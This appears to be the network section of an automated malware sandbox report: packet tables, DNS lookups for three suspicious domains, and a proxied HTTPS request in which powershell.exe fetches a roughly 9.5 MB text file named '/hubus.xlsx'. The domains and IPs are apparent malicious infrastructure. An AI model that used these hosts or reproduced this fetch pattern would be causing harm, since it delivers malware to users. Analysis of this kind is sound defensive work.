Dec 22, 2024 13:42:29.443380117 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.443409920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.443430901 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.448028088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.448080063 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.448118925 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.448126078 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.448152065 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.448179007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.453367949 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.453418016 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.453457117 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.453461885 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.453495979 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.453519106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.458410025 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.458456039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.458488941 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.458494902 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.458544016 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.463691950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.463737965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.463772058 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.463778019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.463800907 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.463828087 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.468909025 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.468971014 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.468981028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.469001055 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.469028950 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.469057083 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.474273920 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.474322081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.474359989 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.474365950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.474411011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.474436045 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.479695082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.479737997 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.479777098 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.479782104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.479803085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.479826927 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.634861946 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.634924889 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.634958982 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.634989023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.635013103 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.635030031 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.641076088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.641127110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.641160011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.641165972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.641192913 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.641213894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.645953894 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.646004915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.646039963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.646045923 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.646071911 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.646097898 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.650741100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.650783062 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.650815964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.650821924 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.650846004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.650870085 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.656143904 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.656194925 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.656225920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.656232119 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.656275034 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.656295061 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.660952091 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.661001921 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.661027908 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.661032915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.661056042 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.661082029 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.666462898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.666506052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.666523933 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.666532993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.666558027 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.666584015 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.671776056 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.671823978 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.671845913 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.671854019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.671874046 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.671902895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.827255964 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.827354908 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.827356100 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.827388048 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.827410936 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.827446938 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.827496052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.827636003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:29.827709913 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:29.833545923 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:44:19.431298018 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:19.431370974 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:19.431458950 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:19.432651043 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:19.432681084 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:20.650022030 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:20.650106907 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:20.659360886 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:20.659382105 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:20.659688950 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:20.704062939 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:20.787569046 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:20.787595034 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:20.787708998 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:21.556899071 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:21.557008028 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:21.557055950 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:21.559804916 CET	50007	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:21.559823990 CET	443	50007	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:21.568768978 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:21.568808079 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:21.568876028 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:21.569863081 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:21.569876909 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:22.788561106 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:22.788621902 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:22.791212082 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:22.791234016 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:22.791492939 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:22.792608023 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:22.792638063 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:22.792689085 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.596869946 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.596935987 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.596966028 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.596977949 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.596991062 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.597002029 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.597034931 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.597054005 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.597088099 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.597098112 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.605531931 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.605567932 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.605586052 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.605603933 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.607639074 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.613653898 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.668764114 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.668787003 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.715646029 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.716634035 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.762506962 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.788893938 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.792306900 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.792362928 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.792391062 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.799751043 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.799853086 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.799906015 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.800031900 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.800054073 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.800065994 CET	50008	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.800071955 CET	443	50008	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.886992931 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.887068033 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:23.887182951 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.887487888 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:23.887506962 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:25.100260019 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:25.100378036 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:25.101996899 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:25.102010965 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:25.102942944 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:25.104221106 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:25.104356050 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:25.104403973 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:26.112847090 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:26.112974882 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:26.113048077 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:26.127388000 CET	50009	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:26.127417088 CET	443	50009	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:26.171821117 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:26.171885967 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:26.171947002 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:26.172780037 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:26.172802925 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:27.404827118 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:27.404928923 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:27.408755064 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:27.408765078 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:27.409204006 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:27.410567045 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:27.410705090 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:27.410739899 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:27.410906076 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:27.410912037 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:28.306375027 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:28.306612015 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:28.306662083 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:28.308973074 CET	50010	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:28.308999062 CET	443	50010	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:28.464879036 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:28.464996099 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:28.465075016 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:28.465406895 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:28.465436935 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:29.685497046 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:29.685592890 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:29.686903000 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:29.686930895 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:29.688011885 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:29.689244032 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:29.689362049 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:29.689409971 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:29.689476967 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:29.689495087 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:30.639364958 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:30.639652967 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:30.639719963 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:30.639858961 CET	50011	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:30.639882088 CET	443	50011	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:30.981621027 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:30.981682062 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:30.981750011 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:30.982295990 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:30.982310057 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.200182915 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.200268030 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:32.201567888 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:32.201581955 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.201978922 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.203248024 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:32.203351021 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:32.203357935 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.998642921 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.998769999 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:32.998830080 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:32.999218941 CET	50012	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:32.999241114 CET	443	50012	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:33.051783085 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:33.051810980 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:33.051939964 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:33.052216053 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:33.052232981 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:34.268855095 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:34.269634962 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:34.270941019 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:34.270973921 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:34.271331072 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:34.272346973 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:34.272384882 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:34.272396088 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:35.070957899 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:35.071196079 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:35.071270943 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:35.074033022 CET	50014	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:35.074073076 CET	443	50014	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:35.108378887 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:35.108417988 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:35.108485937 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:35.126380920 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:35.126393080 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:36.342261076 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:36.342390060 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:36.343579054 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:36.343588114 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:36.343791962 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:36.344820023 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:36.344820023 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:36.344882965 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:37.097084999 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:37.097161055 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:37.097235918 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:37.097537994 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:37.097537994 CET	50015	443	192.168.2.6	104.21.48.1
Dec 22, 2024 13:44:37.097559929 CET	443	50015	104.21.48.1	192.168.2.6
Dec 22, 2024 13:44:37.097568035 CET	443	50015	104.21.48.1	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 13:42:11.875685930 CET	52479	53	192.168.2.6	1.1.1.1
Dec 22, 2024 13:42:12.198926926 CET	53	52479	1.1.1.1	192.168.2.6
Dec 22, 2024 13:44:19.090542078 CET	49538	53	192.168.2.6	1.1.1.1
Dec 22, 2024 13:44:19.426053047 CET	53	49538	1.1.1.1	192.168.2.6
Dec 22, 2024 13:44:37.099562883 CET	64673	53	192.168.2.6	1.1.1.1
Dec 22, 2024 13:44:37.237675905 CET	53	64673	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 13:42:11.875685930 CET	192.168.2.6	1.1.1.1	0x187a	Standard query (0)	atsuka.thrivezest.org	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.090542078 CET	192.168.2.6	1.1.1.1	0x58a	Standard query (0)	learningypr.click	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:37.099562883 CET	192.168.2.6	1.1.1.1	0x2a1b	Standard query (0)	klipcatepiu0.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 13:42:12.198926926 CET	1.1.1.1	192.168.2.6	0x187a	No error (0)	atsuka.thrivezest.org	104.21.18.182	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:42:12.198926926 CET	1.1.1.1	192.168.2.6	0x187a	No error (0)	atsuka.thrivezest.org	172.67.183.27	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 22, 2024 13:44:19.426053047 CET	1.1.1.1	192.168.2.6	0x58a	No error (0)	learningypr.click	104.21.96.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

atsuka.thrivezest.org

learningypr.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	104.21.18.182	443	1428	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 12:42:13 UTC	81	OUT	GET /hubus.xlsx HTTP/1.1 Host: atsuka.thrivezest.org Connection: Keep-Alive
2024-12-22 12:42:15 UTC	987	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 12:42:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 9497057 Connection: close X-Powered-By: Express ETag: W/"90e9e1-951ubQD+8RypHBQCGuzm21caIRQ" Set-Cookie: connect.sid=s%3ABULSIHd68yPUQIqW2SobLLY3TA_7Hw9R.N7a5AS9avCmfbyNgl%2Be%2F8Nx41AG8HT1ltzF7rMUaQpw; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fmf0TsixUw6bP4rVOMB0gEZzRPQwOlz0VrFOIhlGfPvVghuJx0pVdYrK%2FBQHFNTwesiZjZ2ELtn42oahq002n8pmGjgklhitTr3mYwKzk1OLnTkCHM01ctvquOnquU6nWuVsJJm2f1U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6030cbbe5b0f74-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&min_rtt=1530&rtt_var=581&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=695&delivery_rate=1872995&cwnd=151&unsent_bytes=0&cid=e631f1887072c5ba&ts=1776&x=0"
